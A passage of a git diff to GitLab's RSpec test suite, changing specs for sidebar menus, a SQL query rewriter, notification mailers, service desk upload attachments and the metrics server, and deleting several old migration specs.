- allow(menu).to receive(:can?).with(user, :read_observability, group).and_return(true)
+ allow(Gitlab::Observability).to receive(:observability_enabled?).and_return(true)
end
it 'returns true' do
expect(menu.render?).to eq true
+ expect(Gitlab::Observability).to have_received(:observability_enabled?).with(user, group)
end
end
- context 'when user cannot :read_observability' do
+ context 'when observability is disabled' do
before do
- allow(menu).to receive(:can?).with(user, :read_observability, group).and_return(false)
+ allow(Gitlab::Observability).to receive(:observability_enabled?).and_return(false)
end
it 'returns false' do
expect(menu.render?).to eq false
+ expect(Gitlab::Observability).to have_received(:observability_enabled?).with(user, group)
end
end
end
diff --git a/spec/lib/sidebars/groups/menus/settings_menu_spec.rb b/spec/lib/sidebars/groups/menus/settings_menu_spec.rb
index 4e3c639672b..c5246fe93dd 100644
--- a/spec/lib/sidebars/groups/menus/settings_menu_spec.rb
+++ b/spec/lib/sidebars/groups/menus/settings_menu_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Sidebars::Groups::Menus::SettingsMenu do
+RSpec.describe Sidebars::Groups::Menus::SettingsMenu, :with_license do
let_it_be(:owner) { create(:user) }
let_it_be_with_refind(:group) do
diff --git a/spec/lib/sidebars/projects/menus/settings_menu_spec.rb b/spec/lib/sidebars/projects/menus/settings_menu_spec.rb
index 0733e0c6521..c7aca0fb97e 100644
--- a/spec/lib/sidebars/projects/menus/settings_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/settings_menu_spec.rb
@@ -10,6 +10,10 @@ RSpec.describe Sidebars::Projects::Menus::SettingsMenu do
subject { described_class.new(context) }
+ before do
+ stub_feature_flags(show_pages_in_deployments_menu: false)
+ end
+
describe '#render?' do
it 'returns false when menu does not have any menu items' do
allow(subject).to receive(:has_renderable_items?).and_return(false)
diff --git a/spec/lib/sidebars/your_work/menus/issues_menu_spec.rb b/spec/lib/sidebars/your_work/menus/issues_menu_spec.rb
new file mode 100644
index 00000000000..a1206c0bc1c
--- /dev/null
+++ b/spec/lib/sidebars/your_work/menus/issues_menu_spec.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::YourWork::Menus::IssuesMenu, feature_category: :navigation do
+ let(:user) { create(:user) }
+ let(:context) { Sidebars::Context.new(current_user: user, container: nil) }
+
+ subject { described_class.new(context) }
+
+ include_examples 'menu item shows pill based on count', :assigned_open_issues_count
+end
diff --git a/spec/lib/sidebars/your_work/menus/merge_requests_menu_spec.rb b/spec/lib/sidebars/your_work/menus/merge_requests_menu_spec.rb
new file mode 100644
index 00000000000..b3251a54178
--- /dev/null
+++ b/spec/lib/sidebars/your_work/menus/merge_requests_menu_spec.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::YourWork::Menus::MergeRequestsMenu, feature_category: :navigation do
+ let(:user) { create(:user) }
+ let(:context) { Sidebars::Context.new(current_user: user, container: nil) }
+
+ subject { described_class.new(context) }
+
+ include_examples 'menu item shows pill based on count', :assigned_open_merge_requests_count
+end
diff --git a/spec/lib/sidebars/your_work/menus/todos_menu_spec.rb b/spec/lib/sidebars/your_work/menus/todos_menu_spec.rb
new file mode 100644
index 00000000000..a8177a6a01b
--- /dev/null
+++ b/spec/lib/sidebars/your_work/menus/todos_menu_spec.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::YourWork::Menus::TodosMenu, feature_category: :navigation do
+ let(:user) { create(:user) }
+ let(:context) { Sidebars::Context.new(current_user: user, container: nil) }
+
+ subject { described_class.new(context) }
+
+ include_examples 'menu item shows pill based on count', :todos_pending_count
+end
diff --git a/spec/lib/unnested_in_filters/rewriter_spec.rb b/spec/lib/unnested_in_filters/rewriter_spec.rb
index fe34fba579b..bba27276037 100644
--- a/spec/lib/unnested_in_filters/rewriter_spec.rb
+++ b/spec/lib/unnested_in_filters/rewriter_spec.rb
@@ -69,15 +69,21 @@ RSpec.describe UnnestedInFilters::Rewriter do
let(:recorded_queries) { ActiveRecord::QueryRecorder.new { rewriter.rewrite.load } }
let(:relation) { User.where(state: :active, user_type: %i(support_bot alert_bot)).limit(2) }
+ let(:users_default_select_fields) do
+ User.default_select_columns
+ .map { |field| "\"users\".\"#{field.name}\"" }
+ .join(',')
+ end
+
let(:expected_query) do
<<~SQL
SELECT
- "users".*
+ #{users_default_select_fields}
FROM
unnest('{1,2}'::smallint[]) AS "user_types"("user_type"),
LATERAL (
SELECT
- "users".*
+ #{users_default_select_fields}
FROM
"users"
WHERE
@@ -101,13 +107,13 @@ RSpec.describe UnnestedInFilters::Rewriter do
let(:expected_query) do
<<~SQL
SELECT
- "users".*
+ #{users_default_select_fields}
FROM
unnest(ARRAY(SELECT "users"."state" FROM "users")::character varying[]) AS "states"("state"),
unnest('{1,2}'::smallint[]) AS "user_types"("user_type"),
LATERAL (
SELECT
- "users".*
+ #{users_default_select_fields}
FROM
"users"
WHERE
@@ -129,12 +135,12 @@ RSpec.describe UnnestedInFilters::Rewriter do
let(:expected_query) do
<<~SQL
SELECT
- "users".*
+ #{users_default_select_fields}
FROM
unnest('{active,blocked,banned}'::charactervarying[]) AS "states"("state"),
LATERAL (
SELECT
- "users".*
+ #{users_default_select_fields}
FROM
"users"
WHERE
@@ -181,8 +187,6 @@ RSpec.describe UnnestedInFilters::Rewriter do
let(:expected_query) do
<<~SQL
- SELECT
- "users".*
FROM
"users"
WHERE
@@ -217,7 +221,7 @@ RSpec.describe UnnestedInFilters::Rewriter do
end
it 'changes the query' do
- expect(issued_query.gsub(/\s/, '')).to start_with(expected_query.gsub(/\s/, ''))
+ expect(issued_query.gsub(/\s/, '')).to include(expected_query.gsub(/\s/, ''))
end
end
@@ -226,8 +230,6 @@ RSpec.describe UnnestedInFilters::Rewriter do
let(:expected_query) do
<<~SQL
- SELECT
- "users".*
FROM
"users"
WHERE
@@ -257,7 +259,7 @@ RSpec.describe UnnestedInFilters::Rewriter do
end
it 'does not rewrite the in statement for the joined table' do
- expect(issued_query.gsub(/\s/, '')).to start_with(expected_query.gsub(/\s/, ''))
+ expect(issued_query.gsub(/\s/, '')).to include(expected_query.gsub(/\s/, ''))
end
end
diff --git a/spec/mailers/devise_mailer_spec.rb b/spec/mailers/devise_mailer_spec.rb
index b8e768b7a5f..6eb0e817803 100644
--- a/spec/mailers/devise_mailer_spec.rb
+++ b/spec/mailers/devise_mailer_spec.rb
@@ -131,6 +131,10 @@ RSpec.describe DeviseMailer do
it 'includes a link to reset the password' do
is_expected.to have_link("Reset password", href: "#{Gitlab.config.gitlab.url}/users/password/edit?reset_password_token=faketoken")
end
+
+ it 'has the mailgun suppression bypass header' do
+ is_expected.to have_header 'X-Mailgun-Suppressions-Bypass', 'true'
+ end
end
describe '#email_changed' do
diff --git a/spec/mailers/emails/imports_spec.rb b/spec/mailers/emails/imports_spec.rb
new file mode 100644
index 00000000000..039113d3098
--- /dev/null
+++ b/spec/mailers/emails/imports_spec.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require 'email_spec'
+
+RSpec.describe Emails::Imports, feature_category: :importers do
+ include EmailSpec::Matchers
+
+ let(:errors) { { 'gist_id1' => "Title can't be blank", 'gist_id2' => 'Snippet maximum file count exceeded' } }
+ let(:user) { build_stubbed(:user) }
+
+ describe '#github_gists_import_errors_email' do
+ subject { Notify.github_gists_import_errors_email('user_id', errors) }
+
+ before do
+ allow(User).to receive(:find).and_return(user)
+ end
+
+ it 'sends success email' do
+ expect(subject).to have_subject('GitHub Gists import finished with errors')
+ expect(subject).to have_content('GitHub gists that were not imported:')
+ expect(subject).to have_content("Gist with id gist_id1 failed due to error: Title can't be blank.")
+ expect(subject).to have_content('Gist with id gist_id2 failed due to error: Snippet maximum file count exceeded.')
+ end
+
+ it_behaves_like 'appearance header and footer enabled'
+ it_behaves_like 'appearance header and footer not enabled'
+ end
+end
diff --git a/spec/mailers/emails/profile_spec.rb b/spec/mailers/emails/profile_spec.rb
index cdc298d685e..1fd2a92866d 100644
--- a/spec/mailers/emails/profile_spec.rb
+++ b/spec/mailers/emails/profile_spec.rb
@@ -198,9 +198,10 @@ RSpec.describe Emails::Profile do
describe 'user personal access token has expired' do
let_it_be(:user) { create(:user) }
+ let_it_be(:pat) { create(:personal_access_token, user: user) }
context 'when valid' do
- subject { Notify.access_token_expired_email(user) }
+ subject { Notify.access_token_expired_email(user, [pat.name]) }
it_behaves_like 'an email sent from GitLab'
it_behaves_like 'it should not have Gmail Actions links'
@@ -211,11 +212,12 @@ RSpec.describe Emails::Profile do
end
it 'has the correct subject' do
- is_expected.to have_subject /Your personal access token has expired/
+ is_expected.to have_subject /Your personal access tokens have expired/
end
it 'mentions the access token has expired' do
- is_expected.to have_body_text /One or more of your personal access tokens has expired/
+ is_expected.to have_body_text /The following personal access tokens have expired:/
+ is_expected.to have_body_text /#{pat.name}/
end
it 'includes a link to personal access tokens page' do
@@ -279,7 +281,7 @@ RSpec.describe Emails::Profile do
end
context 'when source is provided' do
- subject { Notify.access_token_revoked_email(user, token.name, 'secret_detection') }
+ subject { Notify.access_token_revoked_email(user, token.name, :secret_detection) }
it_behaves_like 'an email sent from GitLab'
it_behaves_like 'it should not have Gmail Actions links'
diff --git a/spec/mailers/emails/service_desk_spec.rb b/spec/mailers/emails/service_desk_spec.rb
index 1523d9b986b..e753bf2c76c 100644
--- a/spec/mailers/emails/service_desk_spec.rb
+++ b/spec/mailers/emails/service_desk_spec.rb
@@ -58,7 +58,7 @@ RSpec.describe Emails::ServiceDesk do
end
end
- shared_examples 'handle template content' do |template_key|
+ shared_examples 'handle template content' do |template_key, attachments_count|
before do
expect(Gitlab::Template::ServiceDeskTemplate).to receive(:find)
.with(template_key, issue.project)
@@ -69,6 +69,7 @@ RSpec.describe Emails::ServiceDesk do
aggregate_failures do
is_expected.to have_referable_subject(issue, include_project: false, reply: reply_in_subject)
is_expected.to have_body_text(expected_body)
+ expect(subject.attachments.count).to eq(attachments_count.to_i)
expect(subject.content_type).to include('text/html')
end
end
@@ -195,13 +196,102 @@ RSpec.describe Emails::ServiceDesk do
end
context 'with upload link in the note' do
- let_it_be(:upload_path) { '/uploads/e90decf88d8f96fe9e1389afc2e4a91f/test.jpg' }
- let_it_be(:note) { create(:note_on_issue, noteable: issue, project: project, note: "a new comment with [file](#{upload_path})") }
-
- let(:template_content) { 'some text %{ NOTE_TEXT }' }
- let(:expected_body) { %Q(some text a new comment with <a href="#{project.web_url}#{upload_path}" data-canonical-src="#{upload_path}" data-link="true" class="gfm">file</a>) }
-
- it_behaves_like 'handle template content', 'new_note'
+ let_it_be(:secret) { 'e90decf88d8f96fe9e1389afc2e4a91f' }
+ let_it_be(:filename) { 'test.jpg' }
+ let_it_be(:path) { "#{secret}/#{filename}" }
+ let_it_be(:upload_path) { "/uploads/#{path}" }
+ let_it_be(:template_content) { 'some text %{ NOTE_TEXT }' }
+ let_it_be(:note) { create(:note_on_issue, noteable: issue, project: project, note: "a new comment with [#{filename}](#{upload_path})") }
+ let!(:upload) { create(:upload, :issuable_upload, :with_file, model: note.project, path: path, secret: secret) }
+
+ context 'when total uploads size is more than 10mb' do
+ before do
+ allow_next_instance_of(FileUploader) do |instance|
+ allow(instance).to receive(:size).and_return(10.1.megabytes)
+ end
+ end
+
+ let_it_be(:expected_body) { %Q(some text a new comment with <a href="#{project.web_url}#{upload_path}" data-canonical-src="#{upload_path}" data-link="true" class="gfm">#{filename}</a>) }
+
+ it_behaves_like 'handle template content', 'new_note'
+ end
+
+ context 'when total uploads size is less or equal 10mb' do
+ context 'when it has only one upload' do
+ before do
+ allow_next_instance_of(FileUploader) do |instance|
+ allow(instance).to receive(:size).and_return(10.megabytes)
+ end
+ end
+
+ context 'when upload name is not changed in markdown' do
+ let_it_be(:expected_body) { %Q(some text a new comment with <strong>#{filename}</strong>) }
+
+ it_behaves_like 'handle template content', 'new_note', 1
+ end
+
+ context 'when upload name is changed in markdown' do
+ let_it_be(:upload_name_in_markdown) { 'Custom name' }
+ let_it_be(:note) { create(:note_on_issue, noteable: issue, project: project, note: "a new comment with [#{upload_name_in_markdown}](#{upload_path})") }
+ let_it_be(:expected_body) { %Q(some text a new comment with <strong>#{upload_name_in_markdown} (#{filename})</strong>) }
+
+ it_behaves_like 'handle template content', 'new_note', 1
+ end
+ end
+
+ context 'when it has more than one upload' do
+ before do
+ allow_next_instance_of(FileUploader) do |instance|
+ allow(instance).to receive(:size).and_return(5.megabytes)
+ end
+ end
+
+ let_it_be(:secret_1) { '17817c73e368777e6f743392e334fb8a' }
+ let_it_be(:filename_1) { 'test1.jpg' }
+ let_it_be(:path_1) { "#{secret_1}/#{filename_1}" }
+ let_it_be(:upload_path_1) { "/uploads/#{path_1}" }
+ let_it_be(:note) { create(:note_on_issue, noteable: issue, project: project, note: "a new comment with [#{filename}](#{upload_path}) [#{filename_1}](#{upload_path_1})") }
+
+ context 'when all uploads processed correct' do
+ let_it_be(:upload_1) { create(:upload, :issuable_upload, :with_file, model: note.project, path: path_1, secret: secret_1) }
+ let_it_be(:expected_body) { %Q(some text a new comment with <strong>#{filename}</strong> <strong>#{filename_1}</strong>) }
+
+ it_behaves_like 'handle template content', 'new_note', 2
+ end
+
+ context 'when not all uploads processed correct' do
+ let_it_be(:expected_body) { %Q(some text a new comment with <strong>#{filename}</strong> <a href="#{project.web_url}#{upload_path_1}" data-canonical-src="#{upload_path_1}" data-link="true" class="gfm">#{filename_1}</a>) }
+
+ it_behaves_like 'handle template content', 'new_note', 1
+ end
+ end
+ end
+
+ context 'when UploaderFinder is raising error' do
+ before do
+ allow_next_instance_of(UploaderFinder) do |instance|
+ allow(instance).to receive(:execute).and_raise(StandardError)
+ end
+ expect(Gitlab::ErrorTracking).to receive(:track_exception).with(StandardError, project_id: note.project_id)
+ end
+
+ let_it_be(:expected_body) { %Q(some text a new comment with <a href="#{project.web_url}#{upload_path}" data-canonical-src="#{upload_path}" data-link="true" class="gfm">#{filename}</a>) }
+
+ it_behaves_like 'handle template content', 'new_note'
+ end
+
+ context 'when FileUploader is raising error' do
+ before do
+ allow_next_instance_of(FileUploader) do |instance|
+ allow(instance).to receive(:read).and_raise(StandardError)
+ end
+ expect(Gitlab::ErrorTracking).to receive(:track_exception).with(StandardError, project_id: note.project_id)
+ end
+
+ let_it_be(:expected_body) { %Q(some text a new comment with <a href="#{project.web_url}#{upload_path}" data-canonical-src="#{upload_path}" data-link="true" class="gfm">#{filename}</a>) }
+
+ it_behaves_like 'handle template content', 'new_note'
+ end
end
context 'with all-user reference in a an external author comment' do
diff --git a/spec/metrics_server/metrics_server_spec.rb b/spec/metrics_server/metrics_server_spec.rb
index 58577d4d633..efa716754f1 100644
--- a/spec/metrics_server/metrics_server_spec.rb
+++ b/spec/metrics_server/metrics_server_spec.rb
@@ -99,20 +99,22 @@ RSpec.describe MetricsServer, feature_category: :application_performance do # ru
context 'for Golang server' do
let(:log_enabled) { false }
let(:settings) do
- {
- 'web_exporter' => {
- 'enabled' => true,
- 'address' => 'localhost',
- 'port' => '8083',
- 'log_enabled' => log_enabled
- },
- 'sidekiq_exporter' => {
- 'enabled' => true,
- 'address' => 'localhost',
- 'port' => '8082',
- 'log_enabled' => log_enabled
+ Settingslogic.new(
+ {
+ 'web_exporter' => {
+ 'enabled' => true,
+ 'address' => 'localhost',
+ 'port' => '8083',
+ 'log_enabled' => log_enabled
+ },
+ 'sidekiq_exporter' => {
+ 'enabled' => true,
+ 'address' => 'localhost',
+ 'port' => '8082',
+ 'log_enabled' => log_enabled
+ }
}
- }
+ )
end
let(:expected_port) { target == 'puma' ? '8083' : '8082' }
@@ -120,7 +122,7 @@ RSpec.describe MetricsServer, feature_category: :application_performance do # ru
{
'GOGC' => '10',
'GME_MMAP_METRICS_DIR' => metrics_dir,
- 'GME_PROBES' => 'self,mmap',
+ 'GME_PROBES' => 'self,mmap,mmap_stats',
'GME_SERVER_HOST' => 'localhost',
'GME_SERVER_PORT' => expected_port,
'GME_LOG_LEVEL' => 'quiet'
@@ -175,11 +177,13 @@ RSpec.describe MetricsServer, feature_category: :application_performance do # ru
context 'when TLS settings are present' do
before do
- %w(web_exporter sidekiq_exporter).each do |key|
- settings[key]['tls_enabled'] = true
- settings[key]['tls_cert_path'] = '/path/to/cert.pem'
- settings[key]['tls_key_path'] = '/path/to/key.pem'
- end
+ settings.web_exporter['tls_enabled'] = true
+ settings.web_exporter['tls_cert_path'] = '/path/to/cert.pem'
+ settings.web_exporter['tls_key_path'] = '/path/to/key.pem'
+
+ settings.sidekiq_exporter['tls_enabled'] = true
+ settings.sidekiq_exporter['tls_cert_path'] = '/path/to/cert.pem'
+ settings.sidekiq_exporter['tls_key_path'] = '/path/to/key.pem'
end
it 'sets the correct environment variables' do
@@ -300,12 +304,12 @@ RSpec.describe MetricsServer, feature_category: :application_performance do # ru
end
context 'for sidekiq' do
- let(:settings) { { "sidekiq_exporter" => { "enabled" => true } } }
+ let(:settings) { Settingslogic.new({ "sidekiq_exporter" => { "enabled" => true } }) }
before do
allow(::Settings).to receive(:monitoring).and_return(settings)
allow(Gitlab::Metrics::Exporter::SidekiqExporter).to receive(:instance).with(
- settings['sidekiq_exporter'], gc_requests: true, synchronous: true
+ settings.sidekiq_exporter, gc_requests: true, synchronous: true
).and_return(exporter_double)
end
@@ -358,4 +362,28 @@ RSpec.describe MetricsServer, feature_category: :application_performance do # ru
end
end
end
+
+ describe '.name' do
+ subject { described_class.name(target) }
+
+ context 'for puma' do
+ let(:target) { 'puma' }
+
+ it { is_expected.to eq 'web_exporter' }
+ end
+
+ context 'for sidekiq' do
+ let(:target) { 'sidekiq' }
+
+ it { is_expected.to eq 'sidekiq_exporter' }
+ end
+
+ context 'for invalid target' do
+ let(:target) { 'invalid' }
+
+ it 'raises error' do
+ expect { subject }.to raise_error(RuntimeError, "Target must be one of [puma,sidekiq]")
+ end
+ end
+ end
end
diff --git a/spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb b/spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb
deleted file mode 100644
index 18aa8e92560..00000000000
--- a/spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe BackfillTotalTupleCountForBatchedMigrations, :migration, schema: 20210406140057,
- feature_category: :database do
- let!(:table_name) { 'projects' }
-
- let!(:migrations) { table(:batched_background_migrations) }
-
- let!(:migration) do
- migrations.create!(
- created_at: Time.now,
- updated_at: Time.now,
- min_value: 1,
- max_value: 10_000,
- batch_size: 1_000,
- sub_batch_size: 100,
- interval: 120,
- status: 0,
- job_class_name: 'Foo',
- table_name: table_name,
- column_name: :id,
- total_tuple_count: nil
- )
- end
-
- describe '#up' do
- before do
- expect(Gitlab::Database::PgClass).to receive(:for_table).with(table_name).and_return(estimate)
- end
-
- let(:estimate) { double('estimate', cardinality_estimate: 42) }
-
- it 'updates total_tuple_count attribute' do
- migrate!
-
- migrations.all.each do |migration|
- expect(migration.total_tuple_count).to eq(estimate.cardinality_estimate)
- end
- end
- end
-end
diff --git a/spec/migrations/20210423160427_schedule_drop_invalid_vulnerabilities_spec.rb b/spec/migrations/20210423160427_schedule_drop_invalid_vulnerabilities_spec.rb
deleted file mode 100644
index 258bf7a3e69..00000000000
--- a/spec/migrations/20210423160427_schedule_drop_invalid_vulnerabilities_spec.rb
+++ /dev/null
@@ -1,114 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe ScheduleDropInvalidVulnerabilities, :migration, feature_category: :value_stream_management do
- let!(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
- let!(:users) { table(:users) }
- let!(:user) { create_user! }
- let!(:project) { table(:projects).create!(id: 123, namespace_id: namespace.id) }
-
- let!(:scanners) { table(:vulnerability_scanners) }
- let!(:scanner) { scanners.create!(project_id: project.id, external_id: 'test 1', name: 'test scanner 1') }
- let!(:different_scanner) { scanners.create!(project_id: project.id, external_id: 'test 2', name: 'test scanner 2') }
-
- let!(:vulnerabilities) { table(:vulnerabilities) }
- let!(:vulnerability_with_finding) do
- create_vulnerability!(
- project_id: project.id,
- author_id: user.id
- )
- end
-
- let!(:vulnerability_without_finding) do
- create_vulnerability!(
- project_id: project.id,
- author_id: user.id
- )
- end
-
- let!(:vulnerability_identifiers) { table(:vulnerability_identifiers) }
- let!(:primary_identifier) do
- vulnerability_identifiers.create!(
- project_id: project.id,
- external_type: 'uuid-v5',
- external_id: 'uuid-v5',
- fingerprint: '7e394d1b1eb461a7406d7b1e08f057a1cf11287a',
- name: 'Identifier for UUIDv5')
- end
-
- let!(:vulnerabilities_findings) { table(:vulnerability_occurrences) }
- let!(:finding) do
- create_finding!(
- vulnerability_id: vulnerability_with_finding.id,
- project_id: project.id,
- scanner_id: scanner.id,
- primary_identifier_id: primary_identifier.id
- )
- end
-
- before do
- stub_const("#{described_class}::BATCH_SIZE", 1)
- end
-
- around do |example|
- freeze_time { Sidekiq::Testing.fake! { example.run } }
- end
-
- it 'schedules background migrations' do
- migrate!
-
- expect(BackgroundMigrationWorker.jobs.size).to eq(2)
- expect(described_class::MIGRATION).to be_scheduled_migration(vulnerability_with_finding.id, vulnerability_with_finding.id)
- expect(described_class::MIGRATION).to be_scheduled_migration(vulnerability_without_finding.id, vulnerability_without_finding.id)
- end
-
- private
-
- def create_vulnerability!(project_id:, author_id:, title: 'test', severity: 7, confidence: 7, report_type: 0)
- vulnerabilities.create!(
- project_id: project_id,
- author_id: author_id,
- title: title,
- severity: severity,
- confidence: confidence,
- report_type: report_type
- )
- end
-
- # rubocop:disable Metrics/ParameterLists
- def create_finding!(
- vulnerability_id:, project_id:, scanner_id:, primary_identifier_id:,
- name: "test", severity: 7, confidence: 7, report_type: 0,
- project_fingerprint: '123qweasdzxc', location_fingerprint: 'test',
- metadata_version: 'test', raw_metadata: 'test', uuid: SecureRandom.uuid)
- vulnerabilities_findings.create!(
- vulnerability_id: vulnerability_id,
- project_id: project_id,
- name: name,
- severity: severity,
- confidence: confidence,
- report_type: report_type,
- project_fingerprint: project_fingerprint,
- scanner_id: scanner_id,
- primary_identifier_id: primary_identifier_id,
- location_fingerprint: location_fingerprint,
- metadata_version: metadata_version,
- raw_metadata: raw_metadata,
- uuid: uuid
- )
- end
- # rubocop:enable Metrics/ParameterLists
-
- def create_user!(name: "Example User", email: "user@example.com", user_type: nil)
- users.create!(
- name: name,
- email: email,
- username: name,
- projects_limit: 0,
- user_type: user_type,
- confirmed_at: Time.current
- )
- end
-end
diff --git a/spec/migrations/20210430134202_copy_adoption_snapshot_namespace_spec.rb b/spec/migrations/20210430134202_copy_adoption_snapshot_namespace_spec.rb
deleted file mode 100644
index 688fc5eb23a..00000000000
--- a/spec/migrations/20210430134202_copy_adoption_snapshot_namespace_spec.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-# frozen_string_literal: true
-#
-require 'spec_helper'
-
-require_migration!
-
-RSpec.describe CopyAdoptionSnapshotNamespace, :migration, schema: 20210430124630, feature_category: :devops_reports do
- let(:namespaces_table) { table(:namespaces) }
- let(:segments_table) { table(:analytics_devops_adoption_segments) }
- let(:snapshots_table) { table(:analytics_devops_adoption_snapshots) }
-
- it 'updates all snapshots without namespace set' do
- namespaces_table.create!(id: 123, name: 'group1', path: 'group1')
- namespaces_table.create!(id: 124, name: 'group2', path: 'group2')
-
- segments_table.create!(id: 1, namespace_id: 123)
- segments_table.create!(id: 2, namespace_id: 124)
-
- create_snapshot(id: 1, segment_id: 1)
- create_snapshot(id: 2, segment_id: 2)
- create_snapshot(id: 3, segment_id: 2, namespace_id: 123)
-
- migrate!
-
- expect(snapshots_table.find(1).namespace_id).to eq 123
- expect(snapshots_table.find(2).namespace_id).to eq 124
- expect(snapshots_table.find(3).namespace_id).to eq 123
- end
-
- def create_snapshot(**additional_params)
- defaults = {
- recorded_at: Time.zone.now,
- issue_opened: true,
- merge_request_opened: true,
- merge_request_approved: true,
- runner_configured: true,
- pipeline_succeeded: true,
- deploy_succeeded: true,
- end_time: Time.zone.now.end_of_month
- }
-
- snapshots_table.create!(defaults.merge(additional_params))
- end
-end
diff --git a/spec/migrations/20210430135954_copy_adoption_segments_namespace_spec.rb b/spec/migrations/20210430135954_copy_adoption_segments_namespace_spec.rb
deleted file mode 100644
index 0fb3029ec6a..00000000000
--- a/spec/migrations/20210430135954_copy_adoption_segments_namespace_spec.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-require_migration!
-
-RSpec.describe CopyAdoptionSegmentsNamespace, :migration, feature_category: :devops_reports do
- let(:namespaces_table) { table(:namespaces) }
- let(:segments_table) { table(:analytics_devops_adoption_segments) }
-
- before do
- namespaces_table.create!(id: 123, name: 'group1', path: 'group1')
- namespaces_table.create!(id: 124, name: 'group2', path: 'group2')
-
- segments_table.create!(id: 1, namespace_id: 123, display_namespace_id: nil)
- segments_table.create!(id: 2, namespace_id: 124, display_namespace_id: 123)
- end
-
- it 'updates all segments without display namespace' do
- migrate!
-
- expect(segments_table.find(1).display_namespace_id).to eq 123
- expect(segments_table.find(2).display_namespace_id).to eq 123
- end
-end
diff --git a/spec/migrations/20210503105845_add_project_value_stream_id_to_project_stages_spec.rb b/spec/migrations/20210503105845_add_project_value_stream_id_to_project_stages_spec.rb
deleted file mode 100644
index 07a90c2d276..00000000000
--- a/spec/migrations/20210503105845_add_project_value_stream_id_to_project_stages_spec.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-require_migration!
-
-RSpec.describe AddProjectValueStreamIdToProjectStages, schema: 20210503105022,
- feature_category: :value_stream_management do
- let(:stages) { table(:analytics_cycle_analytics_project_stages) }
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
-
- let(:namespace) { table(:namespaces).create!(name: 'ns1', path: 'nsq1') }
-
- before do
- project = projects.create!(name: 'p1', namespace_id: namespace.id)
-
- stages.create!(
- project_id: project.id,
- created_at: Time.now,
- updated_at: Time.now,
- start_event_identifier: 1,
- end_event_identifier: 2,
- name: 'stage 1'
- )
-
- stages.create!(
- project_id: project.id,
- created_at: Time.now,
- updated_at: Time.now,
- start_event_identifier: 3,
- end_event_identifier: 4,
- name: 'stage 2'
- )
- end
-
- it 'deletes the existing rows' do
- migrate!
-
- expect(stages.count).to eq(0)
- end
-end
diff --git a/spec/migrations/20210511142748_schedule_drop_invalid_vulnerabilities2_spec.rb b/spec/migrations/20210511142748_schedule_drop_invalid_vulnerabilities2_spec.rb
deleted file mode 100644
index b514c92c52d..00000000000
--- a/spec/migrations/20210511142748_schedule_drop_invalid_vulnerabilities2_spec.rb
+++ /dev/null
@@ -1,120 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe ScheduleDropInvalidVulnerabilities2, :migration, feature_category: :value_stream_management do
- let!(:background_migration_jobs) { table(:background_migration_jobs) }
-
- let!(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
- let!(:users) { table(:users) }
- let!(:user) { create_user! }
- let!(:project) { table(:projects).create!(id: 123, namespace_id: namespace.id) }
-
- let!(:scanners) { table(:vulnerability_scanners) }
- let!(:scanner) { scanners.create!(project_id: project.id, external_id: 'test 1', name: 'test scanner 1') }
- let!(:different_scanner) { scanners.create!(project_id: project.id, external_id: 'test 2', name: 'test scanner 2') }
-
- let!(:vulnerabilities) { table(:vulnerabilities) }
- let!(:vulnerability_with_finding) do
- create_vulnerability!(
- project_id: project.id,
- author_id: user.id
- )
- end
-
- let!(:vulnerability_without_finding) do
- create_vulnerability!(
- project_id: project.id,
- author_id: user.id
- )
- end
-
- let!(:vulnerability_identifiers) { table(:vulnerability_identifiers) }
- let!(:primary_identifier) do
- vulnerability_identifiers.create!(
- project_id: project.id,
- external_type: 'uuid-v5',
- external_id: 'uuid-v5',
- fingerprint: '7e394d1b1eb461a7406d7b1e08f057a1cf11287a',
- name: 'Identifier for UUIDv5')
- end
-
- let!(:vulnerabilities_findings) { table(:vulnerability_occurrences) }
- let!(:finding) do
- create_finding!(
- vulnerability_id: vulnerability_with_finding.id,
- project_id: project.id,
- scanner_id: scanner.id,
- primary_identifier_id: primary_identifier.id
- )
- end
-
- before do
- stub_const("#{described_class}::BATCH_SIZE", 1)
- end
-
- around do |example|
- freeze_time { Sidekiq::Testing.fake! { example.run } }
- end
-
- it 'schedules background migrations' do
- migrate!
-
- expect(background_migration_jobs.count).to eq(2)
- expect(background_migration_jobs.first.arguments).to eq([vulnerability_with_finding.id, vulnerability_with_finding.id])
- expect(background_migration_jobs.second.arguments).to eq([vulnerability_without_finding.id, vulnerability_without_finding.id])
-
- expect(BackgroundMigrationWorker.jobs.size).to eq(2)
- expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2.minutes, vulnerability_with_finding.id, vulnerability_with_finding.id)
- expect(described_class::MIGRATION).to be_scheduled_delayed_migration(4.minutes, vulnerability_without_finding.id, vulnerability_without_finding.id)
- end
-
- private
-
- def create_vulnerability!(project_id:, author_id:, title: 'test', severity: 7, confidence: 7, report_type: 0)
- vulnerabilities.create!(
- project_id: project_id,
- author_id: author_id,
- title: title,
- severity: severity,
- confidence: confidence,
- report_type: report_type
- )
- end
-
- # rubocop:disable Metrics/ParameterLists
- def create_finding!(
- vulnerability_id:, project_id:, scanner_id:, primary_identifier_id:,
- name: "test", severity: 7, confidence: 7, report_type: 0,
